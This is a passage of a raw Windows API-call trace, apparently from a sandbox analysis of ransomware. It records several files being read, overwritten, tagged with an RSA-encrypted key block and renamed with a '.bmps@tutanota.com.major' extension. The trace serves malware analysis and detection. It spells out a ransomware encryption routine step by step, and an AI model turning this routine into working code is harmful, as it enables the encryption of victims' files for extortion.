(lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\0f7bdecdd8effd2ad7ef6c564929cf20e8f2d03ac1c05a9c48a1e218820f640f", dwFileAttributes=0x80) returned 1 [0222.523] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x160) returned 0x66d9d8 [0222.523] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20e) returned 0x5b4d88 [0222.523] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x66d9d8 | out: hHeap=0x570000) returned 1 [0222.523] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\0f7bdecdd8effd2ad7ef6c564929cf20e8f2d03ac1c05a9c48a1e218820f640f" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\0f7bdecdd8effd2ad7ef6c564929cf20e8f2d03ac1c05a9c48a1e218820f640f"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1840 [0222.524] GetFileSizeEx (in: hFile=0x1840, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=16775) returned 1 [0222.524] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4187) returned 0x2f35020 [0222.524] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4187) returned 0x2f391b0 [0222.524] ReadFile (in: hFile=0x1840, lpBuffer=0x2f35020, nNumberOfBytesToRead=0x4187, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f35020*, lpNumberOfBytesRead=0x2e3f9b4*=0x4187, lpOverlapped=0x0) returned 1 [0222.586] SetFilePointer (in: hFile=0x1840, lDistanceToMove=-16775, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0222.586] WriteFile (in: hFile=0x1840, lpBuffer=0x2f391b0*, nNumberOfBytesToWrite=0x4187, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f391b0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x4187, lpOverlapped=0x0) returned 1 [0222.587] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f35020 | out: hHeap=0x570000) returned 1 [0222.587] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f391b0 | out: hHeap=0x570000) returned 1 [0222.587] SetFilePointer (in: hFile=0x1840, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x4187 [0222.587] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0222.587] WriteFile (in: hFile=0x1840, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0222.587] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0222.587] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0222.588] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0222.588] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0222.588] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="DbRjsQB+1ko2oI30IUNv4XHctkXjT8RKaQIoKFcPdmRKr/RhUoN6xwwYH0m9HEbq\nCEK1GrmwuYSq01b170WZGCw4pOfesXGfn+YtI9qLyJityPJ/QTSBiaQ662853138\n3aqed0rwPe5HYB0NSjz4fybI9OEk/vbY4J0SMdveiqeydAYICoAMQt7v0ZaqRC41\nhO+PR8foR3tc1xxnccwffZpEVJ64TTDUimNCRFGB8XbpW1AYki9hpoXg7lCZm0tT\nzC5RLc4p9/VMpdSburu6RcFSpdp+5mltuzdeuBhZafILC53/rx2PcaAkuJr/49mg\nvFp9WmyTNFPNRXmLnlCzIw==\n", pcchString=0x2e3f9a8) returned 1 [0222.588] WriteFile (in: hFile=0x1840, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0222.588] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0222.588] WriteFile (in: hFile=0x1840, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0222.588] CloseHandle (hObject=0x1840) returned 1 [0222.588] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a8108 | out: hHeap=0x570000) returned 1 [0222.588] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\0f7bdecdd8effd2ad7ef6c564929cf20e8f2d03ac1c05a9c48a1e218820f640f" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\0f7bdecdd8effd2ad7ef6c564929cf20e8f2d03ac1c05a9c48a1e218820f640f"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\0f7bdecdd8effd2ad7ef6c564929cf20e8f2d03ac1c05a9c48a1e218820f640f.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\0f7bdecdd8effd2ad7ef6c564929cf20e8f2d03ac1c05a9c48a1e218820f640f.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0222.591] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b4d88 | out: hHeap=0x570000) returned 1 [0222.591] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x656e70 | out: hHeap=0x570000) returned 1 [0222.591] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x66d5a0 | out: hHeap=0x570000) returned 1 [0222.591] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5aa568 | out: hHeap=0x570000) returned 1 [0222.591] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x160) returned 0x66d9d8 [0222.591] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x656e70 [0222.591] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0222.591] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\0e7f22a57323414971b3cc9875eeeb61f67a2001f05a7cfb1429600bb0e9215d", dwFileAttributes=0x80) returned 1 [0222.591] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x160) returned 0x66de10 [0222.591] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20e) returned 0x5aa568 [0222.591] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x66de10 | out: hHeap=0x570000) returned 1 [0222.591] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\0e7f22a57323414971b3cc9875eeeb61f67a2001f05a7cfb1429600bb0e9215d" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\0e7f22a57323414971b3cc9875eeeb61f67a2001f05a7cfb1429600bb0e9215d"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1840 [0222.592] GetFileSizeEx (in: hFile=0x1840, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=793) returned 1 [0222.592] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x319) returned 0x5a8108 [0222.592] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x319) returned 0x66e548 [0222.592] ReadFile (in: hFile=0x1840, lpBuffer=0x5a8108, nNumberOfBytesToRead=0x319, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesRead=0x2e3f9b4*=0x319, lpOverlapped=0x0) returned 1 [0222.648] SetFilePointer (in: hFile=0x1840, lDistanceToMove=-793, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0222.648] WriteFile (in: hFile=0x1840, lpBuffer=0x66e548*, nNumberOfBytesToWrite=0x319, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66e548*, lpNumberOfBytesWritten=0x2e3f9b4*=0x319, lpOverlapped=0x0) returned 1 [0222.648] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a8108 | out: hHeap=0x570000) returned 1 [0222.648] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x66e548 | out: hHeap=0x570000) returned 1 [0222.648] SetFilePointer (in: hFile=0x1840, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x319 [0222.648] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0222.648] WriteFile (in: hFile=0x1840, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0222.649] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0222.649] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0222.649] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0222.649] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0222.649] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="Wl9BoPaz9RZmOZcXN8l48Y4fcg9JQ58I1whx2rh1A93zdX1w1uvJLIsz5o7msPEh\nmkP3av6g4h2Sp9CE75xXH0JC17eVNuqThiZo07KSMYCOkwUOSQ8Ur9JpdZJFDuFk\njUlofIoK8516OCrOg4ZhfAEAq1ENdhbA4+SSc+UEccfaY3Wxr1gLvn8qN/0an6dP\nDapC1DJNSWKVEhsjkZd82FnGXdU1CKaDmUcgKWhgSa7ClM9kZM2l1bHV+Drrhdcw\np+wgRdpDMVqTp/eXekDiUn7UI/gN7hrNBkC5R1ebsjzix4TdCFOm33HY0U8kQ/8k\n/JsHotCgxI4WskXUeAVNkw==\n", pcchString=0x2e3f9a8) returned 1 [0222.649] WriteFile (in: hFile=0x1840, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0222.649] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0222.649] WriteFile (in: hFile=0x1840, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0222.649] CloseHandle (hObject=0x1840) returned 1 [0222.650] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a8108 | out: hHeap=0x570000) returned 1 [0222.650] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\0e7f22a57323414971b3cc9875eeeb61f67a2001f05a7cfb1429600bb0e9215d" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\0e7f22a57323414971b3cc9875eeeb61f67a2001f05a7cfb1429600bb0e9215d"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\0e7f22a57323414971b3cc9875eeeb61f67a2001f05a7cfb1429600bb0e9215d.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\0e7f22a57323414971b3cc9875eeeb61f67a2001f05a7cfb1429600bb0e9215d.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0222.652] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5aa568 | out: hHeap=0x570000) returned 1 [0222.653] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x656e70 | out: hHeap=0x570000) returned 1 [0222.653] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x66d9d8 | out: hHeap=0x570000) returned 1 [0222.653] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x581478 | out: hHeap=0x570000) returned 1 [0222.653] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x160) returned 0x66d5a0 [0222.653] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x656e70 [0222.653] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0222.653] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\0e35fc804cbae159047a0d81e392d3d398018f29dfeab84cb374498f6cec6173", dwFileAttributes=0x80) returned 1 [0222.653] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x160) returned 0x66d870 [0222.653] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20e) returned 0x581478 [0222.653] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x66d870 | out: hHeap=0x570000) returned 1 [0222.653] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\0e35fc804cbae159047a0d81e392d3d398018f29dfeab84cb374498f6cec6173" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\0e35fc804cbae159047a0d81e392d3d398018f29dfeab84cb374498f6cec6173"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1840 [0222.654] GetFileSizeEx (in: hFile=0x1840, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=402509) returned 1 [0222.654] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x6244d) returned 0x3351010 [0222.654] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x6244d) returned 0x33b3468 [0222.655] ReadFile (in: hFile=0x1840, lpBuffer=0x3351010, nNumberOfBytesToRead=0x6244d, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3351010*, lpNumberOfBytesRead=0x2e3f9b4*=0x6244d, lpOverlapped=0x0) returned 1 [0222.730] SetFilePointer (in: hFile=0x1840, lDistanceToMove=-402509, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0222.730] WriteFile (in: hFile=0x1840, lpBuffer=0x33b3468*, nNumberOfBytesToWrite=0x6244d, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x33b3468*, lpNumberOfBytesWritten=0x2e3f9b4*=0x6244d, lpOverlapped=0x0) returned 1 [0222.731] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x3351010 | out: hHeap=0x570000) returned 1 [0222.731] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x33b3468 | out: hHeap=0x570000) returned 1 [0222.732] SetFilePointer (in: hFile=0x1840, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x6244d [0222.732] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0222.732] WriteFile (in: hFile=0x1840, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0222.732] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0222.732] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0222.733] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0222.733] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0222.733] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="+L9WNQ7KXtmZSNnvfTQLzMKbF4E8g95qHJwE52a/6ohUGoS5zkCTo4HXddxSQsY6\nbdo+3IaDUBH9M17AVppuYleLdEyI/+3wZQN+R/5Olhwksfnor13jB2IO/XaTvOrg\n61odWHodvZHP4Xc5134elX+PcVQy6Ssj9Vll4zpAYoeHuW5LIisJCOfmnQW8J+gT\nqUpzcbQDFo33rLjgES6iYe6fBvL3FczO477RGN0XFWId46s9dPZWJW118pikhU+1\nvriawcx/lTjWIePQg8Rdl1Z3fFavQIZNZhFl2PcQ80r4D/rVisv+2RRZ5Pcmphv6\nXBQb3ykVCkTy5tppeudqeg==\n", pcchString=0x2e3f9a8) returned 1 [0222.733] WriteFile (in: hFile=0x1840, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0222.733] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0222.733] WriteFile (in: hFile=0x1840, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0222.733] CloseHandle (hObject=0x1840) returned 1 [0222.733] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a8108 | out: hHeap=0x570000) returned 1 [0222.733] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\0e35fc804cbae159047a0d81e392d3d398018f29dfeab84cb374498f6cec6173" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\0e35fc804cbae159047a0d81e392d3d398018f29dfeab84cb374498f6cec6173"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\0e35fc804cbae159047a0d81e392d3d398018f29dfeab84cb374498f6cec6173.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\0e35fc804cbae159047a0d81e392d3d398018f29dfeab84cb374498f6cec6173.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0222.769] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x581478 | out: hHeap=0x570000) returned 1 [0222.770] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x656e70 | out: hHeap=0x570000) returned 1 [0222.770] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x66d5a0 | out: hHeap=0x570000) returned 1 [0222.770] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x57eca8 | out: hHeap=0x570000) returned 1 [0222.770] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x160) returned 0x66db40 [0222.770] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x656fb0 [0222.770] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0222.770] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\099799d4873c12098de4d2549b4b2b8cdced48fedc8d1d17443593d9fc7f0203", dwFileAttributes=0x80) returned 1 [0222.771] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x160) returned 0x66de10 [0222.771] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20e) returned 0x57eca8 [0222.771] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x66de10 | out: hHeap=0x570000) returned 1 [0222.771] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\099799d4873c12098de4d2549b4b2b8cdced48fedc8d1d17443593d9fc7f0203" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\099799d4873c12098de4d2549b4b2b8cdced48fedc8d1d17443593d9fc7f0203"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1840 [0222.771] GetFileSizeEx (in: hFile=0x1840, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=482140) returned 1 [0222.771] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x75b5c) returned 0x3351010 [0222.772] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x75b5c) returned 0x33c6b78 [0222.772] ReadFile (in: hFile=0x1840, lpBuffer=0x3351010, nNumberOfBytesToRead=0x75b5c, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3351010*, lpNumberOfBytesRead=0x2e3f9b4*=0x75b5c, lpOverlapped=0x0) returned 1 [0222.811] SetFilePointer (in: hFile=0x1840, lDistanceToMove=-482140, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0222.811] WriteFile (in: hFile=0x1840, lpBuffer=0x33c6b78*, nNumberOfBytesToWrite=0x75b5c, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x33c6b78*, lpNumberOfBytesWritten=0x2e3f9b4*=0x75b5c, lpOverlapped=0x0) returned 1 [0222.812] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x3351010 | out: hHeap=0x570000) returned 1 [0222.813] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x33c6b78 | out: hHeap=0x570000) returned 1 [0222.813] SetFilePointer (in: hFile=0x1840, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x75b5c [0222.813] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0222.813] WriteFile (in: hFile=0x1840, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0222.814] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0222.814] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0222.814] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0222.814] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0222.814] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="rlqhXCkHSFAbeOIidtKDrKVOXr3hR3z6iFtzPnhh3faRqObezAxdZJEmbbrEDOiV\n6liPYPOmWChvofknAHzK5721jOuq40r7ewhg1xvoexy1b425NYtDTlmIcUjrDpCg\n9qkFstU9XCjC27WKXTBBo7MIaEy/AGw3v9i9eLGraqabmxjBK7h/R+t+5iTmKgu0\nifaPhNW0Ze56YGdD+81/yO4uIJ9fGCj/iw2T0ckKDJKy6wQkQ9A/Xe3F/nHkSdQ8\nxq7IkhgcXiy7L2hcj2Rb7FWDsQheEqYA0O9g/K5V5INQCRuZbVAPcc8eLX9vtA1R\n85oIhDa3FCqwDwQuwTZdlQ==\n", pcchString=0x2e3f9a8) returned 1 [0222.815] WriteFile (in: hFile=0x1840, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0222.815] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0222.815] WriteFile (in: hFile=0x1840, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0222.815] 